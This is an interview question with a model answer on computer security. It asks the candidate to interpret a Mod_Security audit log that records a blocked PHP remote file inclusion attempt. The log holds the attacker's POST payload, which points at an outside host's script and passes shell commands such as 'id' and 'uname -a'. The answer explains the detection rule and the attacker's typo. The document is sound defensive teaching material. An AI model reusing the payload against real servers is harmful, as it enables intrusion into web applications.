Computer security Interview Question:

What application generated the log file entry below? What type of attack is this?

Submitted by: Administrator

What application generated the log file entry below? What type of attack is this? Assuming the index.php program is vulnerable, was this attack successful?

========================================
Request: 200.158.8.207 - - [09/Oct/2004:19:40:46 --0400] "POST /index.php HTTP/1.1" 403 743
Handler: cgi-script
----------------------------------------
POST /index.php HTTP/1.1
Host: www.foo.com
Connection: keep-alive
Accept: */*
Accept-Language: en-us
Content-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla 4.0 (Linux)
Content-Length: 65
X-Forwarded-For: 200.158.8.207
mod_security-message: Access denied with code 403. Pattern match "unamex20-a" at POST_PAYLOAD
mod_security-action: 403

65
lid=http://th3.ownz.p5.org.uk/lila.jpg?&cmd=cd /tmp;id;lsuname -a
----------------------------------------



Note: Goal of question - to verify that the applicant can interpret various web log files, identify attacks and possible impacts. The Mod_Security Apache module generated this data in the audit_log file. The log entry indicates that an attacker is attempting to exploit a PHP file inclusion vulnerability in the index.php script. The commands being passed are in the POST PAYLOAD of the command. This attack was not successful for the following two reasons:

· The mod_security-message header indicates that Mod_Security blocked this request based on a converted Snort web-attack rule when it identified the "uname -a" data in the POST PAYLOAD.
· The attacker also made a typo in the OS commands being passed in the POST PAYLOAD. She did not include a semicolon ";" between the ls and uname commands. The target host would fail to execute the "lsuname" command.
Submitted by: Administrator